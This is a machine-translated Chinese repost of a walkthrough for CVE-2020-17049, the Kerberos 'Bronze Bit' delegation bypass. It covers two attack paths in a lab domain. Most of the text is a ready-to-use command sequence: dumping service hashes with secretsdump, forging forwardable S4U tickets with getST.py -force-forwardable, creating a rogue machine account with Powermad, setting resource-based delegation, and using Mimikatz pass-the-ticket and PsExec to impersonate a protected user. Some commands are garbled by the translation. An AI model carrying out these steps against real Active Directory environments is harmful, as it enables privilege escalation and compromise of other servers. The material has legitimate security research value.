Skip to content

Latest commit

 

History

History
268 lines (130 loc) · 15.7 KB

CVE-2020-17049:Kerberos 实际利用.md

File metadata and controls

268 lines (130 loc) · 15.7 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

Kerberos 安全功能绕过漏洞

该漏洞的一般攻击路径如下:

  1. 攻击者在 AD 环境中立足。

  2. 攻击者获取环境中服务的密码哈希。我们将此服务称为 “Service1”。攻击者可以通过多种方式获得必要的哈希,例如 DC Sync 攻击,Kerberoasting,甚至可以通过 Powermad 使用 SPN 创建新的计算机帐户。

  3. Service1 与另一个服务具有受约束的委派信任关系。我们将其称为 “Service2”。此信任关系可以是下列之一:

  4. 如果攻击者对 AD 中的 Service2 对象具有写权限(GenericAll,GenericWrite,WriteOwner 等),则攻击者可以将 Service1 添加到 Service2 的 “PrincipalsAllowedToDelegateToAccount” 列表中。这不需要 Elad Shamir 和 Will Schroeder 所述的域管理员特权。

  5. Service1 配置为执行对 Service2 的约束委派。也就是说,Service2 在 Service1 的 “AllowedToDelegateTo” 列表中。

  6. Service2 配置为接受来自 Service1 的基于资源的约束委派。也就是说,Service1 在 Service2 的 “PrincipalsAllowedToDelegateToAccount” 列表中。

  7. 攻击者利用此漏洞充当 Service1,并获得 Kerberos 服务票证作为 Service2 的目标用户。

  8. 攻击者冒充目标用户,向 Service2 提供服务票证。攻击者现在已作为目标用户向 Service2 进行身份验证,并且可以在目标用户的权限下与 Service2 进行交互。

利用实施

青铜位漏洞已被开发为的延伸 Impacket 从在好乡亲框架 SecureAuth。一个拉请求目前正在等待新开发的功能合并。Impacket 内有很多强大的功能,但是我们对 getST.py 程序感兴趣。让我们首先回顾一下没有利用漏洞的程序功能。在第 4 步,我们将从上方跳入攻击路径。假设我们已经获得了 Service1 的哈希值,Service1 与 Service2 具有受限的委托信任关系,并且我们试图以目标用户身份获得对 Service2 的访问权限。

可以使用 getST.py 程序执行 S4U 交换并以指定用户的身份获得指定服务的服务票证。如果允许 Service1 执行协议转换(即使用 “TrustedToAuthForDelegation” 进行配置),并且未保护用户免受委托,则执行将类似于以下内容:

利用最终的服务票证,攻击者可以模拟目标用户并成功与 Service2 进行交互。但是,如果不允许 Service1 执行协议转换或保护用户免受委托,则在 S4U2self 交换中获得的中间服务票证将不可转发,并且 S4U2proxy 请求将失败。

力转发标志

Bronze Bit 漏洞已被实现为 getST.py 程序的扩展。我添加了一个新的 -force-forwardable 标志,可以将其作为命令行参数传递。如果存在 -force-forwardable 标志,则在 S4U2self 交换后执行漏洞利用。由 KDC 在 S4U2self 交换中返回的服务票证将使用 Service1 的长期密钥,其可转发标志设置进行解密,然后重新加密。更改后的票证将附加在 S4U2proxy 交换中,KDC 将作为目标用户返回 Service2 的服务票证。

绕过限制并准备好服务凭单后,攻击者即可模拟目标用户并与 Service2 进行交互(攻击路径中的步骤 5)。

示例攻击#1

让我们看看实际的攻击。在这种情况下,我们将看到利用该漏洞的方法,我们可以绕过 “信任此用户以仅委派给指定服务–仅使用 Kerberos” 保护,并冒充受委派保护的用户。我们将从一些初始环境设置开始。

环境配置

我们的测试域(test.local)具有 3 台运行 Windows Server 2019 版本的服务器,但未修复此漏洞。我们将从作为 Service1 服务器上的 User1 的立足点发动攻击。我们将定位到对 Service2 服务器具有管理访问权限的 User2。我们将与域控制器(DC)交互所有 Kerberos 票证。

在 DC 上,对 Service1 进行配置,以使其可以执行受约束的委派,而无需协议过渡到 Service2。这样可以确保满足攻击路径第 3 步的条件。如果在 Active Directory GUI 中设置了此配置,则它将类似于以下内容:

仍然在 DC 上时,还要更新 User2 帐户,以防止其受委派。可以使用 “敏感帐户,不能委托” 属性配置该帐户。该帐户也可以成为 “受保护的用户” 组的成员。这些配置更改中的一个或两个都等效于此演示:

  • 使用 “帐户敏感且无法委派” 属性配置 User2:

  • 将 User2 添加到 “受保护的用户” 组中:

执行攻击

退出域控制器,并以 User1 身份登录 Service1 服务器。这模拟在环境中立足(攻击路径中的步骤 1 )。启动 PowerShell 会话,并确认 User1 和 Service1 当前无法在其自己的授权下访问 Service2。

命令:

  • ls \ service2.test.local \ c $

  • 。\ PSTools \ PsExec64.exe \ service2.test.local \ powershell.exe

执行:

我们已经确认 User1 无法直接访问 Service2。我们继续攻击路径的第二步:获取 Service1 的哈希值。在这种情况下,我们将使用 Impacket 的 secretsdump.py 程序来获取 Service1 机器帐户的 AES256-CTS-HMAC-SHA1-96 和 LM:NTLM 哈希。

命令:

  • python。\ impacket \ examples \ secretsdump.py'test / user1:<user1_password> @ Service1.test.local'

执行:

在获得必要的哈希之后,我们将首先尝试在没有 - force-forwardable 标志的情况下执行 getST.py 程序。这将按预期失败。如前所述,S4U2self 交换机仍将服务票证返回给用户 2 的 Service1,但是由于服务的委派限制和用户免受委派的保护,未设置该票证的 Forwardable 标志。当票证在 S4U2proxy 交换中用作证据时,这会导致错误。

命令:

  • 。\ impacket \ examples \ getST.py -spn cifs / Service2.test.local - 模拟 User2 - 哈希 <LM:NTLM 哈希> -aesKey <AES 哈希 > test.local / Service1

执行:

我们所有人都在等待的时刻:让我们运行漏洞利用程序!这是我们攻击路径的第 4 步。我们将重复前面的命令,但是这次包括 -force-forwardable 命令行参数。

命令:

  • 。\ impacket \ examples \ getST.py -spn cifs / Service2.test.local - 模拟 User2 - 哈希 <LM:NTLM hash> -aesKey test.local / Service1 -force-forwardable

执行:

哇!激动人心的东西!让我们专注于几行输出:

来自 S4U2 自身标志的服务票证:00000000101000010000000000000000

S4U2self 的服务票不可转发

强制服务票证可转发

修改后的服务票证标志:01000000101000010000000000000000

现在可以转发来自 S4U2self 的服务票证

通过包含 -force-forwardable 标志,该漏洞利用会自动执行,并将从 S4U2self 交换机收到的服务票证转换为可转发票证。这是通过使用 Service1 的哈希值解密票证,将标志值的第二个位从 0 更改为 1 并重新加密票证来完成的。此可转发票证在 S4U2proxy 交换中发送,并且作为 User2 的 Service2 的服务票证被返回并写入 User2.ccache 的磁盘。

接下来,我们将使用 Mimikatz 将服务票证加载到票证缓存中以供使用。加载后,我们将看到 Mimikatz 确认这是 User2 到 Service2 的 cifs 服务的有效票证。

命令:

  • 。\ mimikatz \ mimikatz.exe “kerberos :: ptc User2.ccache” 退出

执行:

将服务票证添加到缓存后,我们现在就可以像访问 User2 一样访问 Service2 了。我们拥有 User2 在 Service2 上的所有权限。我们将使用 Mark Russinovich 的 PSExec 在 Service2 服务器上获取 PowerShell 会话,并运行一些命令。这是攻击路径的最后第五步。

命令:

  • ls \ service2.test.local \ c $

  • 。\ PSTools \ PsExec64.exe \ service2.test.local \ powershell.exe

执行:

我们终于得到它了。我们已经翻转并滥用了 Kerberos 委派,以通过模仿受保护的用户来提升我们的特权并损害其他服务。

示例攻击#2

让我们探索具有不同起始条件的另一条攻击路径。在这种情况下,我们将看到成功折衷 Service2 所需的全部 AD 中 Service2 对象的写权限。

环境配置

我们将继续使用上一个示例中的环境,并进行一些修改。目标 User2 帐户可以保留其配置为 “受保护的用户” 成员的身份,或使用 “帐户敏感且无法委派” 属性来保持其配置。

首先,删除 Service1 的委派权限。连接到 DC 并使用 “不信任此计算机进行委派” 配置 Service1。

编辑 Service2 计算机对象,向 User1 授予写权限。当我们直接向立足用户授予权限时,用户通常将通过特权组的成员身份获得对一个或多个 AD 对象的写权限。用户不一定需要是域管理员。

执行攻击

退出域控制器,并以 User1 身份登录 Service1 服务器。像以前一样,这模拟了在环境中的立足点(“攻击路径” 中的步骤 1 )。如果您从第一个示例继续,请确保清除本地 Kerberos 票证缓存。清除缓存的最有效方法就是重新启动 Service1。

与我们之前的示例不同,此攻击不会利用 Service1 和 Service2 之间的任何委派信任关系。在将 Service1 配置为 “不信任此计算机进行委派” 之后,此信任关系不再存在。我们需要与 Service2 建立新的委派关系,这是一次全新的服务。

要在环境中的新服务,我们将使用凯文 · 罗伯逊的 Powermad 创建一个新的计算机帐户。这不需要提升的特权,并且默认情况下该域中的任何用户均可使用。我们将机器帐户命名为 “AttackerService”,并提供一个任意密码:“ AttackerServicePassword”

命令:

  • 导入模块。\ Powermad \ powermad.ps1

  • 新 MachineAccount -MachineAccount AttackerService -Password $ (的 ConvertTo-SecureString 的'AttackerServicePassword' -AsPlainText -Force )

执行:

由于我们选择了新机器帐户的密码,因此我们可以使用 Mimikatz 轻松计算出相应的密码哈希。这将完成攻击路径的步骤 2。

命令:

  • 。\ mimikatz \ mimikatz.exe “kerberos :: hash / password:AttackerServicePassword / user:AttackerService /domain:test.local” 退出

执行:

让我们使用 PowerShell Active Directory 模块检查我们新创建的机器帐户。由于该模块尚不可用,因此我们将安装相应的功能,导入该模块,然后检查我们新创建的计算机帐户。

命令:

  • Install-WindowsFeature RSAT-AD-PowerShell

  • 导入模块 ActiveDirectory

  • Get-ADComputer AttackerService

执行:

确认机器帐户的存在之后,我们可以在 Service2 和 AttackerService 之间建立约束委派信任关系。由于 User1(我们的受控立足帐户)对 Service2 对象具有写权限,因此我们可以将 AttackerService 添加到 Service2 的 PrincipalsAllowedToDelegateToAccount 列表中。这将在 Service2 上建立基于资源的约束委派,并从 AttackerService 接受约束委派。完成此步骤后,我们就满足了攻击路径第 3 步的条件。

命令:

  • Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService $

  • Get-ADComputer Service2 - 属性主体 AllowedToDelegateToAccount

执行:

我们准备继续执行攻击路径的第 4 步并执行漏洞利用。我们将使用与上一个示例相同的命令,但是这次指定 AttackerService 而不是 Service1,并且使用 Mimikatz 计算哈希值。当在命令中包含 -force-forwardable 标志时,我们将看到与上一个示例相同的结果。执行漏洞利用,设置可转发标志,并将作为 User2 的 Service2 的服务票证写入 User2.ccache 的磁盘。

命令:

  • 蟒蛇 \ impacket \ 例子 \ getST.py -spn CIFS / Service2.test.local -impersonate 用户 2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local / AttackerService -force-forwardableet-ADComputer 客服 2 -PrincipalsAllowedToDelegateToAccount AttackerService $

执行:

现在,我们可以简单地重复上一个示例中的最终命令。通过使用 Mimikatz 将服务票证加载到我们的本地 Kerberos 票证缓存中,我们将为攻击路径的第 5 步做准备。然后,我们将通过与 Service2 进行交互(模拟 User2)来执行步骤 5。

命令:

  • 。\ mimikatz \ mimikatz.exe “kerberos :: ptc User2.ccache” 出口 | 空空

  • ls \ service2.test.local \ c $

  • 。\ PSTools \ PsExec64.exe \ service2.test.local \ powershell.exe

  • 我是谁

  • 主机名

执行:

就这样!通过我们对 Service2 AD 对象的立足点和写许可权,我们已经使用了应该受到这种委托保护的用户权限来破坏服务。